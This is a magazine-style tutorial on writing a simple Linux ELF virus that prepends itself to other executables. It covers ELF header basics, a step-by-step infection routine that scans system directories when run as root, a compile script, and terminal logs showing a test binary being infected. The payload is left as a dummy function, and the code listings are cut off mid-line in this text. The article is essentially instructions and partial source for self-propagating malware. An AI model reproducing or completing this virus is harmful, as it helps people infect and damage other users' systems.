ELF Virus, Part I

Himanshu Arora

Abstract

How to create a simple Linux ELF virus that can infect and propagate through other ELF executables.

The history of computer viruses dates back to 1949 when Mr John von Neumann, a lecturer at the University of Illinois, wrote a paper: “Theory of self-reproducing automata”. That was just a research work, but since then, computer viruses have evolved dramatically. Apart from early systems, the Microsoft Windows OS has been a primary target for computer virus developers. Whether this is due to the number of people using that OS or the number of loop holes it carries, the debate still remains open. For the past two decades, the popularity of the Linux OS has grown in leaps and bounds with more and more Web server machines running on Linux. Using Linux on a PC or laptop is a growing trend. Linux's growing popularity poses the new threat of it being vulnerable to virus attacks. Although the success of existing Linux viruses has been limited, the threat still remains.

In this article, I discuss a particular category of Linux viruses known as ELF viruses, but before doing that, first let me introduce some basics that should help you understand the rest of the article.

What Is ELF?

ELF stands for Executable and Linkable Format. It is a standard file format for object files, executables, shared libraries and core dumps. It became a standard binary file format for UNIX (and UNIX-like systems) in 1999.

An ELF file begins with an ELF header, which is represented as the following structure:

```
 #define EI_NIDENT    16 typedef struct {      unsigned char e_ident[EI_NIDENT];      Elf32_Half  e_type;      Elf32_Half  e_machine;      El
```

Here is the description of some of the basic elements in the structure above:

1) e_ident: ELF has capabilities to support multiple processors, data encodings, classes of machines and so forth. Now, to support all this, the ELF header includes some initial bytes that specify how to interpret the file independent of the file's contents and the processor on which the query is made. The e_ident[] array in the previous structure corresponds to these initial bytes. The following is the breakdown of the e_ident[] array:

```
 Name         Value   Purpose  EI_MAG0         0  File identification EI_MAG1         1  File identification EI_MAG2         2  File identifi
```

EI_MAG0 to EI_MAG3 hold a magic number consisting of the following four bytes:

```
 '0x7f', 'E', 'L', 'F'
```

These four magical bytes help identify whether a file is of the ELF type or not.

2) e_type: this value helps identify the type of ELF file:

```
 Name     Value  Meaning            ET_NONE     0  No file type ET_REL      1  Relocatable file ET_EXEC     2  Executable file ET_DYN      3
```

3) e_machine: this value helps identify the architecture for an ELF file:

```
  Name     Value  Meaning           ET_NONE     0  No machine EM_M32      1  AT&T WE 32100 EM_SPARC     2  SPARC EM_386      3  Intel Architec
```

4) e_version: this value is used to identify the version of the object file:

```
 Name    Value  Meaning EV_NONE   0  Invalid version EV_CURRENT  1  Current version
```

The value 1 signifies the original file format; extensions will create new versions with higher numbers.

What Is an ELF Virus?

An ELF virus is a malicious piece of code that mainly targets ELF executables and infects them in such a way that after being infected, either these executables start behaving abnormally or carry out some things that are invisible to the user. Most of the time, it's the latter of the two characteristics (as mentioned earlier) that is prominent in infected ELF executables, the most common being the invisible propagation of the virus to fresh executables each time an infected executable is run. Now you can easily understand that if an ELF virus somehow gains root access to a system, it can cause havoc.

Types of ELF Viruses

Most ELF viruses are based on the Silvio Cesare File Virus. These can be divided into two categories:

1. A malicious piece of code that simply prepends itself to the start of innocent executables.
2. A malicious piece of code that is injected into the text or data segment of innocent executables.

In this article, I focus on type 1 ELF viruses.

The Virus: Explained

This virus, as mentioned previously, consists of a malicious piece of code that prepends itself to the start of other executables. Now, because it completely prepends itself to the start of other executables, so that it propagates completely, it leaves the least dependency on its source of origin. This way, the virus creates its own copy in all the executables it infects.

This increases the life of the virus, because it would become very hard to find all the executables that are infected until you know the infection mechanism of the malicious code. Further, even if the source of the virus is deleted, the virus propagation does not stop until all the infected executables are cleaned/deleted.

Note: this virus would provide the propagation mechanism (that is, how it infects the executable to propagate), but it would refrain from showing its heart (that is, the piece of code that actually does something wrong with the infected executable or the system as a whole). This is because I don't want to encourage any newbie to directly copy and paste the virus and use it in any destructive way.

The following is a brief description of how the virus works.

When run for the very first time or run from an infected executable, here is what happens:

1) As a very first step, it copies itself into memory. This is required, as the virus would like to prepend itself to any ELF executable it encounters. One important thing to note here is the size of the virus' compiled code. This size is required in the code so as to read itself into memory. I have defined a macro **`VIRUS_SIZE`** as a symbolic constant for the size of the virus.

The following code reads the virus into the memory:

```
if (read(fd1, virus, VIRUS_SIZE) != VIRUS_SIZE)  {   printf("\n read() failed \n");   return 1; }
```

One concern here is that if someone changes/adds/removes some code in the original source in a way that the size of the compiled binary changes. In that case, either manually change the value of the macro **`VIRUS_SIZE`** and make it equal to the value spit out by the command **`ls -l <name of the binary>`**, or write a script that does this automatically every time for you.

2) In the second step, the virus determines the effective user ID of the user that has run this virus. This lets the logic determine whether the virus was run by root or any other user. Based on this information, the code decides which paths to search for ELF executables. The following line in the code determines the effective user ID:

```
uid = geteuid();
```

3) In the third step, if the effective UID is that of root user, it starts scanning the system directories (hard-coded in the code) where there could be potential ELF executables present. If the effective UID is that of any other user, the code starts scanning the user's login directory for any vulnerable ELF executables: *Garrick, shrink below.*

```
if(uid == 0)  {   /* Ohh...root powers...*/    /* Add more system directories that contain important binaries*/   //if(infections < MAX_INFE
```

4) In the fourth step, the code checks for any valid ELF by checking its header. It checks the executable for things like it should be an ELF type, it should be for the architecture that the virus itself is compiled from, it should not be a core dump file and so on: *Garrick, shrink below.*

```
if(hdr.e_ident[0] != ELFMAG0 || hdr.e_ident[1] != ELFMAG1 || hdr.e_ident[2] != ELFMAG2 ||hdr.e_ident[3] != ELFMAG3)  {   printf("\n Not an E
```

5) Once the ELF is verified by the code that it is a valid ELF that can be infected, then:

- The code creates a temporary file and writes the buffer (compiled virus) that was copied in first step (step 1 above) to the temporary file created.
- Reads the executable that is to be infected in memory and appends it to the temporary file (created above).
- Appends a magic number (to signify that the executable is infected) at the end of this temporary file.
- Changes the name of temp file so that it replaces the original innocent executable file.

So, in this step, the virus makes its first propagation to an executable.

6) In the sixth step, if the virus was executed as root, it launches its most dangerous piece of code—the payload through which destruction can be done. As I have explained previously, this is a dummy function **`launch_attack()`** in the code being discussed here, as I do not want to promote copy-paste-execute behavior.

Now whenever this infected executable is launched, the virus follows all these six steps again for infecting and propagating to other executables.

If the virus is being executed from an infected executable, then after all the six steps described above, there has to be way that the infected executable that is launched should do its work correctly so that the user doesn't even have an idea of what happened behind the scenes. So in this case, the following steps (7–9) occur.

7) In the seventh step, from the start of the executable, a seek to the end of virus code (that is, a seek equivalent to VIRUS_SIZE) is done. From here, all the bytes are copied (this would be compiled code of the actual executable) and written to a temporary file.

8) In the eighth step, the code forks a new process, executes this temporary file and after execution, deletes the temporary file.

9) The user sees only that he or she executed a binary and that it executed fine.

Note: I have added some log statements to signify that the target executable is infected. *Garrick, shrink listing 1. This listing is very long, and it's fine if it goes at the end of the article.*

Listing 1. A Simple ELF Virus*11185l1.qrk*

```
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <wait.h> #include <sys/types.h> #include <sys/stat.h>
```

Note: in the code in Listing 1, just change the path /home/himanshu/practice/elfvirus/filetoinfect to the path where some executables (that you want to infect) are kept in your machine.

Compiling the Virus

As I already mentioned, the value of the VIRUS_SIZE macro should be equal to the size of the compiled code. Here is a script that will automate the procedure: *Garrick, shrink below.*

```
#!/bin/sh gcc -o elfvirus elfvirus.c FILESIZE=`ls -l elfvirus|awk '$5 {print $5}'` PROGSIZE=`awk '/define VIRUS_SIZE/ {print $3}' elfvirus.c
```

Simply run the above script to compile the virus code.

Output

I created a “hello world” executable in the directory where this virus searches for executables to infect. The following is a capture from my machine: *Garrick, shrink below.*

```
himanshu@himanshu-laptop ~/practice/elfvirus/filetoinfect $ gcc -Wall hello.c -o hello himanshu@himanshu-laptop ~/practice/elfvirus/filetoinf
```

As you can see, the ELF executable **hello**, when run, outputs “Hello World”.

Now, I run the virus code: *Garrick, shrink below.*

```
himanshu@himanshu-laptop ~/practice/elfvirus $ ./elfvirus   Inside main   Inside searchForELF   Found ==> [/home/himanshu/practice/elfvirus/f
```

The log statements said that the virus successfully infected /home/himanshu/practice/elfvirus/filetoinfect/hello. Now, when I again execute **hello**, kept at the same path, I see: *Garrick, shrink below.*

```
himanshu@himanshu-laptop ~/practice/elfvirus/filetoinfect $ ./hello   Inside main   Inside searchForELF   Found ==> [/home/himanshu/practice/
```

So, it is clear from the above output that the virus has infected the executable **hello**, which, when run now, will try to infect other executables in the path mentioned in source code of the virus.

Conclusion

This article explains a basic ELF virus that prepends itself before other executables and infects them. This article is first in its series. My next article will show how to infect ELF by injecting code into text or a data segment.